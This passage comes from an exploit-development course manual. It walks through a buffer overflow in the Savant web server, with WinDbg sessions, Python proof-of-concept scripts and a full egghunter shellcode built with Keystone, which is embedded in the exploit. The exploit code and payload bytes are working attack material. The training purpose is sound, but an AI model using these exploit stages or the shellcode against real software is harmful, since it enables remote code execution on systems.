eax=02fefe70 ebx=01565750 ecx=0000000e edx=77d94550 esi=01565750 edi=0041703c
eip=00418675 esp=02feea30 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18675:
00418675 c3 ret

0:003> u poi(@esp) L3
02feea84 31c9 xor ecx,ecx
02feea86 85c9 test ecx,ecx
02feea88 0f8411000000 je 02feea9f
Listing 200 - Verifying that our instructions were not mangled in memory.

The output in Listing 200 shows our expected instructions in memory. This confirms that they did
not contain any bad characters.
Let’s single-step through the XOR and TEST instructions. Before we execute the conditional jump,
we want to verify the ZF register value and the destination of our jump.
eax=02fefe70 ebx=01565750 ecx=00000000 edx=77d94550 esi=01565750 edi=0041703c
eip=02feea88 esp=02feea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02feea88 0f8411000000 je 02feea9f [br=1]

0:003> r @zf
zf=1

0:003> dd 02feea9f - 4
02feea9b 41412f00 41414141 41414141 41414141
02feeaab 41414141 41414141 41414141 41414141
02feeabb 41414141 41414141 41414141 41414141
02feeacb 41414141 41414141 41414141 41414141
02feeadb 41414141 41414141 41414141 41414141
02feeaeb 41414141 41414141 41414141 41414141
02feeafb 41414141 41414141 41414141 41414141
02feeb0b 41414141 41414141 41414141 41414141
Listing 201 - Displaying the value of the ZF register and the destination of the conditional jump

Excellent! The ZF register is set to 1 (TRUE), meaning that our jump will be taken. Furthermore, if
we check the destination of the jump, we find that we will land two bytes into our buffer of 0x41
characters.
As a final step, let’s execute the conditional jump and redirect the flow of execution to our 0x41
buffer:
0:003> r
eax=02fefe70 ebx=01565750 ecx=00000000 edx=77d94550 esi=01565750 edi=0041703c

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 178
Windows User Mode Exploit Development

eip=02feea88 esp=02feea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc


cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02feea88 0f8411000000 je 02feea9f [br=1]

0:003> t
eax=02fefe70 ebx=01565750 ecx=00000000 edx=77d94550 esi=01565750 edi=0041703c
eip=02feea9f esp=02feea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02feea9f 41 inc ecx

0:003> u @eip
02feea9f 41 inc ecx
02feeaa0 41 inc ecx
02feeaa1 41 inc ecx
02feeaa2 41 inc ecx
02feeaa3 41 inc ecx
02feeaa4 41 inc ecx
02feeaa5 41 inc ecx
02feeaa6 41 inc ecx
Listing 202 - Taking the conditional jump and landing in our buffer

Now that we have set the instruction pointer to the beginning of our buffer, we can attempt to
replace it with shellcode. Because of the size of our buffer, our choices of Metasploit Framework
shellcodes are limited.
0:003> db @eip L100
02feea9f 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
02feeaaf 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
...
02feeb7f 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
02feeb8f 41 41 41 41 41 41 41 41-41 41 41 74 86 41 00 00 AAAAAAAAAAAt.A..
0:003> ? 02feeb8f + 0n11 - @eip
Evaluate expression: 251 = 000000fb
Listing 203 - Calculating the available size for the shellcode

While generating a reverse shell payload in previous modules, the size of the resulting shellcode
was over 300 bytes. A more advanced payload, such as a Meterpreter, would require even more
space.
Even if we were to use the HTTP method buffer, rather than jumping over it, we would still not
have enough space for a large payload.
While it is possible to use a smaller payload, we would like to avoid such a limitation if possible.
Let’s try to a find way to store a larger shellcode in our current exploit.

6.4.4.1 Exercises
1. Go over the references and theory discussed in this section and get familiar with what
conditional jumps are available in the assembly language.
2. Try to understand how the XOR and TEST assembly operations work and why they are used
to satisfy the condition for our jump.
3. Can you use a different conditional jump that does not rely on the ZF?

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 179
Windows User Mode Exploit Development

4. After redirecting the execution flow to our buffer, use the WinDbg evaluation command (?) to
calculate the available space for our shellcode. What payloads would fit in this space?

6.5 Finding Alternative Places to Store Large Buffers


Generally, when we have limited space for our payload, there are two options that we can pursue.
The first one is to use a smaller payload that provides fewer features. This is usually a last resort,
and one we would only use if we could not find other methods of using a larger payload. The
second option, which we are going to explore, is to find a way to store an additional buffer in a
different memory region before the crash and then redirect the execution flow to that additional
buffer.
In other words, if we can store a second, larger buffer elsewhere, we can use our current, smaller
buffer space to write a stage one shellcode. The purpose of this shellcode would be to redirect the
execution flow to that second buffer, where we will have more space to store a larger payload.
To determine what will be stored in memory by our vulnerable application, we could either
perform a very in-depth reverse engineering process on the application, which is out of the scope
of this module, or we could make some educated guesses based on the type of application we
are attacking.
Because we are attacking a web server, our initial thought was that rather than terminating the
HTTP request, we could add an additional buffer after the first carriage return (\r) and new-line
(\n) as shown below:
...
try:
server = sys.argv[1]
port = 80
size = 253

httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx;
je 0x17
inputBuffer = b"\x41" * size
inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n"
httpEndRequest+= b"w00tw00t" + b"\x44" * 400
httpEndRequest+= b"\r\n\r\n"

buf = httpMethod + inputBuffer + httpEndRequest


...
Listing 204 - egghunter_0x0a.py: Attempting to store an additional buffer before ending the HTTP request

In Listing 204, we have updated our proof of concept with an additional buffer before terminating
the HTTP request. We have also added a unique ASCII string (w00tw00t) before our buffer of
0x44 characters. This will help us locate the buffer in memory using WinDbg’s search function.
Running the proof of concept does not seem to cause our application to crash, which means this
method will not work here.
In our next attempt, we will try to send the buffer after we end our HTTP request. Once again, we’ll
use a unique ASCII string at the beginning of our buffer.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 180
Windows User Mode Exploit Development

...
try:
server = sys.argv[1]
port = 80
size = 253

httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx;
je 0x17
inputBuffer = b"\x41" * size
inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"

shellcode = b"w00tw00t" + b"\x44" * 400

buf = httpMethod + inputBuffer + httpEndRequest + shellcode


...
Listing 205 - egghunter_0x0b.py: Attempting to store an additional buffer after the HTTP request

When we run this updated proof of concept against our vulnerable software, we hit the breakpoint
at our POP EAX; RET instruction sequence. Next, we attempt to find our unique ASCII string in
memory using the s command.
Breakpoint 0 hit
eax=00000000 ebx=013656a8 ecx=0000000e edx=77284550 esi=013656a8 edi=0041703c
eip=00418674 esp=016cea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18674:
00418674 58 pop eax

0:003> s -a 0x0 L?80000000 w00tw00t


01365a5e 77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44 w00tw00tDDDDDDDD

0:003> db 01365a5e + 0n408 - 4 L4


01365bf2 44 44 44 44 DDDD
Listing 206 - Finding our secondary buffer in memory

Listing 206 shows that we can find a single copy of our secondary buffer stored in memory,
which is ideal. Based on the result of the db command, it also seems that we were able to store
the entire buffer. This should be more than enough space for a more advanced payload like a
reverse Meterpreter shell.
Now that we can successfully store a larger secondary buffer, the next step will be to learn more
about where this buffer is stored.

6.5.1.1 Exercises
1. Modify your proof of concept and store a secondary buffer in the vulnerable process
memory.
2. Once you hit your breakpoint, attempt to find the location of your secondary buffer inside
WinDbg.
3. Verify that your entire buffer is stored.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 181
Windows User Mode Exploit Development

6.5.2 The Windows Heap Memory Manager


In this section, we are going to investigate the memory address where our secondary buffer is
stored. We will have a quick overview of what Heap156 memory is and how it is handled by the
Windows operating system.

A full explanation of the Windows Heap Memory Manager is beyond the scope of
this course. We will only cover the basics of it. This summary is very introductory
and barely scratches the surface of this mechanism.

Once we find our buffer in memory (0x01365a5e), we will inspect the memory address to
determine in which region it is located and its properties.
0:003> !teb
TEB at 7ffdb000
ExceptionList: 016cff70
StackBase: 016d0000
StackLimit: 016cc000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 7ffdb000
EnvironmentPointer: 00000000
ClientId: 00001400 . 00001548
RpcHandle: 00000000
Tls Storage: 0031f6d0
PEB Address: 7ffdf000
LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
Listing 207 - Checking the StackBase and StackLimit

The first thing we notice is that the address is not located on our current stack. To obtain more
information, we can use the !address157 extension from WinDbg, which allows us to display
information about a specific memory address.
0:003> !address 01365a5e

Mapping file section regions...


Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...

156
(Wikibooks - Windows Programming/Memory Subsystem, 2016),
https://en.wikibooks.org/wiki/Windows_Programming/Memory_Subsystem
157
(Microsoft - !address, 2018), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-address

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 182
Windows User Mode Exploit Development

Mapping stack trace database regions...


Mapping activation context regions...

Usage: Heap
Base Address: 01360000
End Address: 0136f000
Region Size: 0000f000 ( 60.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 01360000
Allocation Protect: 00000004 PAGE_READWRITE
More info: heap owning the address: !heap 0x1360000
More info: heap segment
More info: heap entry containing the address: !heap -x 0x1365a5e

Content source: 1 (target), length: 5a2


Listing 208 - Displaying information about the memory address where our buffer is stored

According to the output from Listing 208, the memory address where our buffer is stored is on
the heap.
To understand what heap memory is, we need to first take a look at the Heap Manager. This is a
software layer that resides on top of the virtual memory interfaces provided by the Windows
operating system.158
This software layer allows applications to dynamically request and release memory through a set
of Windows APIs (VirtualAllocEx,159 VirtualFreeEx,160 HeapAlloc,161 and HeapFree162). These APIs
will eventually call into their respective native functions in ntdll.dll (RtlAllocateHeap163 and
RtlFreeHeap164).
In Windows operating systems, when a process starts, the Heap Manager automatically creates a
new heap called the default process heap. At a very high level, heaps are big chunks of memory
that are divided into smaller pieces to fulfill dynamic memory allocation requests.
Although some processes only use the default process heap, many will create additional heaps
using the HeapCreate165 API (or its lower-level interface ntdll!RtlCreateHeap166) to isolate different
components running in the process itself.

158
(Practical Windows XP/2003 Heap Exploitation, 2009), http://illmatics.com/XP2003_Exploitation.pdf
159
(Microsoft - VirtualAllocEx, 2018), https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-
virtualallocex
160
(Microsoft - VirtualFreeEx, 2018), https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualfreeex
161
(Microsoft - HeapAlloc, 2018), https://docs.microsoft.com/en-us/windows/desktop/api/HeapApi/nf-heapapi-heapalloc
162
(Microsoft - HeapFree, 2018), https://docs.microsoft.com/en-gb/windows/desktop/api/heapapi/nf-heapapi-heapfree
163
(Microsoft - RtlAllocateHeap, 2019), https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-
rtlallocateheap
164
(Microsoft - RtlFreeHeap, 2018), https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-
rtlfreeheap
165
(Microsoft - HeapCreate, 2018), https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapcreate
166
(Microsoft - RtlCreateHeap, 2018), https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-
rtlcreateheap

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 183
Windows User Mode Exploit Development

Other processes make substantial use of the C Runtime heap167 for most dynamic allocations
(malloc / free functions). These heap implementations, defined as NT Heap, eventually make use
of the Windows Heap Manager functions in ntdll.dll to interface with the kernel Windows Virtual
Memory Manager and to allocate memory dynamically.
Because our secondary buffer is stored in dynamic memory, there’s no way to determine its
location beforehand. This rules out the possibility of adding a static offset to our current
instruction pointer to reach our secondary buffer. We will need to explore other methods of
finding the location of our buffer.

6.5.2.1 Exercises
1. Use the !address WinDbg extension to determine that your secondary buffer is stored on
the heap.
2. Restart your debugging session and run the previous proof of concept several times,
ensuring that the address of your buffer is not the same.

6.6 Finding our Buffer - The Egghunter Approach


When we need to find the memory address of another buffer under our control that is not static,
we often use an Egghunter. This term refers to a small first-stage payload that can search the
process virtual address space (VAS) for an egg, a unique tag that prepends the payload we want
to execute. Once the egg is found, the egghunter transfers the execution to the final shellcode by
jumping to the found address. One of the first implementations of this technique can be found in
a paper written by Matt Miller168 in 2004.
Since egghunters are often used when dealing with space restrictions, they are written to be as
small as possible. Additionally, the speed of the egghunter is essential; the faster the egghunter
finds the unique tag, the less time the application will hang.
These type of payloads also need to be robust and handle access violations169 that are raised
while scanning the virtual address space. The access violations usually occur while attempting to
access an unmapped memory address or addresses we don’t have access to.
In the past, we would typically write the assembly code for our egghunter and then proceed to
compile the code. After, we would disassemble the compiled binary in software such as IDA to
get the opcodes for it.
As you can imagine, doing this for each change or mistake in our code can become tedious and
time-consuming. Fortunately, we have a better alternative.

167
(C/C++ Runtime heap), http://support.tenasys.com/INtimeHelp_62/ovw_heaps.html
168
(Safely Searching Process Virtual Address Space), http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
169
While parsing the whole process memory space the Egghunter might encounter pages that are not even mapped or that we don’t
have access to. This, of course, would trigger an access violation when the Egghuter code tries to dereference such a memory
address.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 184
Windows User Mode Exploit Development

6.6.1 Keystone Engine


Writing shellcode is much more streamlined with a tool like Keystone Engine,170 which is an
assembler framework with bindings for several languages, including Python. With it, we can
simply write our ASM code in a Python script and let the Keystone framework do the rest.
Before learning how Keystone works, we need to install it on our Kali machine. First, we install the
python3-pip tool from the repositories.

kali@kali:~$ sudo apt install python3-pip


[sudo] password for kali:
Reading package lists... Done
...
Setting up python3-wheel (0.34.2-1) ...
Setting up python-pip-whl (20.1.1-2) ...
Setting up python3-pip (20.1.1-2) ...
Processing triggers for man-db (2.9.3-2) ...
Processing triggers for kali-menu (2021.1.1) ...
Listing 209 - Installing python3-pip on our Kali VM

Once this is done, we will install the Keystone engine Python3 library using the pip command.
kali@kali:~$ pip install keystone-engine
...
Installing collected packages: keystone-engine
Successfully installed keystone-engine-0.9.2
Listing 210 - Installing the Keystone Engine on our Kali VM

With Keystone installed, let’s try to write a basic example to better understand how it works. For
now, the purpose of our script will be to output the opcodes for various assembly instructions.
from keystone import *

CODE = (
" "
" start: "
" xor eax, eax ;"
" add eax, ecx ;"
" push eax ;"
" pop esi ;"
)

# Initialize engine in 32-bit mode


ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding:
instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")

print("Opcodes = (\"" + instructions + "\")")


Listing 211 - keystone_0x01.py: Intro script using the Keystone Engine

170
(Keystone Assembler Framework), http://www.keystone-engine.org

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 185
Windows User Mode Exploit Development

Before running the script from Listing 211, let’s first understand what it does. We start by
importing everything (*) from the keystone library. Next, we define the CODE variable, which
contains the assembly start function followed by four assembly instructions. These are the
instructions we wish to obtain the opcodes for.
The next line initializes the Keystone Engine with the Ks class. This class accepts two arguments:
the architecture we want to use (in this case x86) and the mode (in this case 32-bit).
Using the ks variable, which is set to the Ks class, we can now invoke methods such as asm to
compile the instructions. This method returns a list of the encoded bytes as well as the number of
instructions that were assembled.

The number of instructions assembled can help troubleshoot issues where no


error is thrown even if a particular assembly instruction is not successfully
assembled.

We then enter a for loop that goes through each encoded byte and uses format string to store it
as a Python-style shellcode in the instructions variable. The reason we fill it with zeroes for a
width of two ({0:02x}) is to add the first 0 in a single hex digit opcode. Finally, we output the result.
kali@kali:~$ python3 keystone_0x01.py
Opcodes = ("\x31\xc0\x01\xc8\x50\x5e")
Listing 212 - Outputting the opcodes from the assembled instructions

The script appears to have run successfully and we received the opcodes as output. Let’s try to
verify the opcodes generated in Listing 212 using msf-nasm_shell.
kali@kali:~$ msf-nasm_shell

nasm > xor eax,eax


00000000 31C0 xor eax,eax

nasm > add eax,ecx


00000000 01C8 add eax,ecx

nasm > push eax


00000000 50 push eax

nasm > pop esi


00000000 5E pop esi
Listing 213 - Comparing the opcodes from our script with the ones from msf-nasm_shell

Excellent! It appears that the opcodes match. The ability to simply edit the assembly instructions
directly in a Python script will be a huge timesaver when writing custom assembly code.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 186
Windows User Mode Exploit Development

Please note that while Keystone saves a large amount of time, it is not without
fault. Depending on the assembly code we are working with, some opcodes, like
short jumps, may not be generated correctly. We recommended going over the
assembly instructions in memory to confirm that the generated opcodes are
correct.

Now that we have a basic idea of how Keystone works, we can discuss how our egghunter will
work. Then we’ll write it in our Python script with the help of Keystone.

6.6.1.1 Exercises
1. Install Keystone on your Kali machine.
2. Run the script presented in this section and confirm that the generated opcodes match the
output from msf-nasm_shell.
3. Go over the script and make sure you understand how it works.

6.6.2 System Calls and Egghunters


In order to learn more about how they work, in this section, we are going to examine one of the
first egghunters released to the public.
We’ll cover the main techniques used by the egghunter to find a secondary buffer and go through
the important assembly instructions.
As we mentioned earlier, an egghunter is a small first-stage payload that can search the process’s
virtual address space (VAS) for an “egg”. It essentially crawls through the entire memory space of
our vulnerable software. One of the issues egghunters must account for is the fact that there is
no way of telling beforehand if a memory page is mapped, if it has the correct permissions to
access it, or what kind of access is allowed on that memory page. If this is not handled correctly,
we will generate an access violation and cause a crash.
To combat this issue, the original author abused the NtAccessCheckAndAuditAlarm171 Windows
system call. While going in-depth on how this function works is outside the scope of this course,
what’s important to understand is that issuing this system call will almost always return a specific
error code. The error code, STATUS_NO_IMPERSONATION_TOKEN172 (0xc000005c), is returned
due to various checks made by the function before it attempts to use any of the provided
arguments.

171
(NTAPI Undocumented Functions - NtAccessCheckAndAuditAlarm),
https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FSecurity%2FNtAccessCheck
AndAuditAlarm.html
172
(Microsoft - NTSTATUS Values), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-
4972-9bbc-49e60bebca55

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 187
Windows User Mode Exploit Development

NtAccessCheckAndAuditAlarm will work without issues in the egghunter unless


we are running in the context of a thread that is impersonating a client.173 In
these cases, it might not work as expected by our egghunter code.

Because this egghunter abuses the NtAccessCheckAndAuditAlarm Windows system call, before
going over the assembly code we need to understand what system calls are. To put it simply, a
system call is an interface between a user-mode process and the kernel.174
Invoking a system call is usually done through a dedicated assembly instruction or an interrupt175
(also known as a trap or exception). Whenever this is done, the current software will signal the
operating system and request an operation to be performed. At this point, the operating system
takes over, performs the operation in the background, and then returns to the running software
with the result of that operation.
The egghunter takes full advantage of this. Rather than crawling the memory inside our program
and risking an access violation, we’ll use a system call and have the operating system access a
specific memory address.
Before the desired function is called, the operating system will attempt to copy the arguments we
provide in user-space, to kernel-space. If the memory address where the function arguments
reside is not mapped, or if we don’t have the appropriate access, the copy operation will cause an
access violation.
The access violation will be handled in the background and then return a
STATUS_ACCESS_VIOLATION176 code (0xc0000005), allowing our egghunter to continue to the
next memory page.177
Before invoking a system call, the operating system needs to know the function it should call and
the arguments that are passed to it. On the x86 architecture, the function can be specified by
setting up a unique System Call Number178 in the EAX register that matches a specific function. If
the function is invoked through a system call, after pushing the arguments individually on the
stack, we’ll move the stack pointer (ESP) to the EDX register, which is passed to the system call.
As part of the system call, the operating system will try to access the memory address where the
function arguments are stored. This is done in order to copy them from user-space to kernel-
space. As previously mentioned, if EDX points to an unmapped memory address or one we can’t
access due to lack of appropriate permissions, the operating system will trigger an access
violation, which it will handle for us and return the STATUS_ACCESS_VIOLATION code in EAX.

173
(Microsoft - Client Impersonation), https://docs.microsoft.com/en-us/windows/win32/secauthz/client-impersonation
174
(Wikipedia - Kernel), https://en.wikipedia.org/wiki/Kernel_(operating_system)
175
(Wikipedia - Interrupt), https://en.wikipedia.org/wiki/Interrupt
176
(Microsoft - NTSTATUS Values), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-
4972-9bbc-49e60bebca55
177
The size of a memory page on x86 is 0x1000 hex bytes.
178
A system call number is a unique integer that corresponts to a specific kernel (operating system)

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 188
Windows User Mode Exploit Development

Essentially, by using the NtAccessCheckAndAuditAlarm system call, we will only get two results
back. If the memory page is valid and we have appropriate access, the system call will return
STATUS_NO_IMPERSONATION_TOKEN. Attempting to access an unmapped memory page or one
without appropriate access will result in a STATUS_ACCESS_VIOLATION code. The fact that there
are only two possible return values for the system call is used by the egghunter assembly code as
we will cover shortly.
Now that we have a basic understanding of what mechanisms the egghunter technique abuses,
let’s examine the code below and find out how to implement it.
from keystone import *

CODE = (
# We use the edx register as a memory page counter
" "
" loop_inc_page: "
# Go to the last address in the memory page
" or dx, 0x0fff ;"
" loop_inc_one: "
# Increase the memory counter by one
" inc edx ;"
" loop_check: "
# Save the edx register which holds our memory
# address on the stack
" push edx ;"
# Push the system call number
" push 0x2 ;"
# Initialize the call to NtAccessCheckAndAuditAlarm
" pop eax ;"
# Perform the system call
" int 0x2e ;"
# Check for access violation, 0xc0000005
# (ACCESS_VIOLATION)
" cmp al,05 ;"
# Restore the edx register to check later
# for our egg
" pop edx ;"
" loop_check_valid: "
# If access violation encountered, go to n
# ext page
" je loop_inc_page ;"
" is_egg: "
# Load egg (w00t in this example) into
# the eax register
" mov eax, 0x74303077 ;"
# Initializes pointer with current checked
# address
" mov edi, edx ;"
# Compare eax with doubleword at edi and
# set status flags
" scasd ;"
# No match, we will increase our memory
# counter by one
" jnz loop_inc_one ;"
# First part of the egg detected, check for

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 189
Windows User Mode Exploit Development

# the second part


" scasd ;"
# No match, we found just a location
# with half an egg
" jnz loop_inc_one ;"
" matched: "
# The edi register points to the first
# byte of our buffer, we can jump to it
" jmp edi ;"
)

# Initialize engine in 32bit mode


ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
egghunter = ""
for dec in encoding:
egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n")

print("egghunter = (\"" + egghunter + "\")")


Listing 214 - original_egghunter.py: Keystone version of the original egghunter code

Since the egghunter assembly code from Listing 214 can be quite daunting to inspect all at once,
we will break it down into chunks.
# We use the edx register as a memory page counter
" "
" loop_inc_page: "
# Go to the last address in the memory page
" or dx, 0x0fff ;"
" loop_inc_one: "
# Increase the memory counter by one
" inc edx ;"
Listing 215 - Moving to the next memory page

Our egghunter starts with an OR179 operation on the DX register. This operation will make EDX
point to the last address of a memory page. This is followed by an INC180 instruction, which
effectively sets EDX to a new memory page.

Initially, it might seem that we could achieve this using a single assembly
instruction such as AND EDX, 0xFFFFF000, but we also need to take possible null
bytes generated by our instructions into account.

Now that EDX contains the address of the next memory page, we’ll proceed to the loop_check
function.
" loop_check: "
# Save the edx register which holds our memory

179
(OR - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_219.html
180
(INC - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_140.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 190
Windows User Mode Exploit Development

# address on the stack


" push edx ;"
# Push the system call number
" push 0x2 ;"
# Initialize the call to NtAccessCheckAndAuditAlarm
" pop eax ;"
# Perform the system call
" int 0x2e ;"
Listing 216 - Performing the system call

Before setting up our system call, we use a PUSH181 instruction to store the EDX register on the
stack for later.

While we don’t need the PUSH EDX instruction for the execution of the system
call, we can’t guarantee that EDX will be restored at the end of the system call.
Pushing it on the stack allows us to restore it later on.

After storing EDX, we push the system call number (0x02) and then perform a POP182 instruction.
This will pop the system call number from the stack into EAX.
Now that we have the system call number in EAX and a fake pointer to our arguments in EDX, we
can invoke the system call using a specific instruction, INT 0x2E,183 which results in a trap.
Microsoft designed the operating system to treat this exception as a system call.
At this point, the operating system will invoke the system call. As part of this, it will check the
memory pointer from EDX to gather the function arguments. If accessing the memory address
from EDX causes an access violation, we will get the STATUS_ACCESS_VIOLATION (0xc0000005)
result in EAX.
Our next code chunk will use the return value of the system call.
# Check for access violation, 0xc0000005
# (ACCESS_VIOLATION)
" cmp al,05 ;"
# Restore the edx register to check later
# for our egg
" pop edx ;"
" loop_check_valid: "
# If access violation encountered, go to n
# ext page
" je loop_inc_page ;"
Listing 217 - Verify if the memory page is valid

To avoid null bytes, rather than checking for the entire DWORD, our egghunter simply performs a
CMP184 between the AL register and the value 0x05.

181
(PUSH - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_269.html
182
(POP - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_248.html
183
Windows Internals - System Service Dispatching

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 191
Windows User Mode Exploit Development

The next instruction (POP EDX) will restore our memory address from the stack back into the EDX
register. This is followed by a conditional jump based on the result of our previous comparison. If
a STATUS_ACCESS_VIOLATION was found, we move on to the next memory page by jumping to
the beginning of our egghunter and repeating the previous steps.
If the memory page is mapped, or we have the appropriate access, we continue to check for our
unique signature (egg) as shown in the listing below:
" is_egg: "
# Load egg (w00t in this example) into
# the eax register
" mov eax, 0x74303077 ;"
# Initializes pointer with current checked
# address
" mov edi, edx ;"
# Compare eax with doubleword at edi and
# set status flags
" scasd ;"
# No match, we will increase our memory
# counter by one
" jnz loop_inc_one ;"
Listing 218 - Check the first part of our egg

Listing 218 shows our egghunter using a MOV185 instruction to move the hex value of our egg in
EAX and move our memory address from EDX to EDI. The next instruction, SCASD,186 will
compare the value stored in EAX with the first DWORD that the memory address from EDI is
pointing to. Then it will automatically increment EDI by a DWORD.
This SCASD instruction is followed by another conditional jump that is dependent on the result of
the comparison. If the first DWORD of our egg is not found, then we jump back, increase the
memory address by one, and repeat the process. If found, we use the SCASD instruction again to
check for the second DWORD of our egg.
# First part of the egg detected, check for
# the second part
" scasd ;"
# No match, we found just a location
# with half an egg
" jnz loop_inc_one ;"
" matched: "
# The edi register points to the first
# byte of our buffer, we can jump to it
" jmp edi ;"
Listing 219 - Check the second part of our egg

According to the assembly code, if the second entry matches, it means that we have found our
buffer and EDI points right after our egg. From here, we can redirect the execution flow with a
simple JMP instruction.

184
(CMP - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_35.html
185
(MOV - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_176.html
186
(SCASD - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_287.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 192
Windows User Mode Exploit Development

The original code from Matt Miller used the NtDisplayString187 system call,
exploiting the very same concept. However, Miller realized that the use of the
NtAccessCheckAndAuditAlarm system call was actually improving the portability
of the egghunter. This is due to the fact that the NtAccessCheckAndAuditAlarm
system call number (0x02) didn’t change across different operating systems
versions, compared to the one for NtDisplayString.

Now that we have reviewed the code, let’s execute the script and get the opcodes for our
egghunter.
kali@kali:~$ python3 original_egghunter.py
egghunter =
("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30
\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
Listing 220 - Obtaining the opcodes for our egghunter

With the opcodes generated, we can now include the egghunter in our proof of concept. Because
our jump is not exact, we will prepend the egghunter with a NOP sled.
...
try:
server = sys.argv[1]
port = 80
size = 253

httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx;
je 0x17

egghunter = (b"\x90\x90\x90\x90\x90\x90\x90\x90" # NOP sled


b"\x66\x81\xca\xff\x0f\x42\x52\x6a"
b"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
b"\xef\xb8\x77\x30\x30\x74\x89\xd7"
b"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

inputBuffer = b"\x41" * (size - len(egghunter))


inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"

shellcode = b"w00tw00t" + b"\x44" * 400

buf = httpMethod + egghunter + inputBuffer + httpEndRequest + shellcode


...
Listing 221 - egghunter_0x0c.py: Using the egghunter to find our secondary buffer

187
(NTAPI Undocumented Functions - NtDisplayString),
https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FError%2FNtDisplayString.htm
l

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 193
Windows User Mode Exploit Development

We attach our debugger to the vulnerable software and set a breakpoint at our POP EAX; RET
instruction sequence. Once our breakpoint is hit, we will execute until a branch is taken (ph). Right
before our conditional jump, we want to inspect the destination and confirm that the egghunter
has been stored in memory without being mangled.
0:003> ph
eax=02f0fe70 ebx=014256d0 ecx=00000000 edx=77184550 esi=014256d0 edi=0041703c
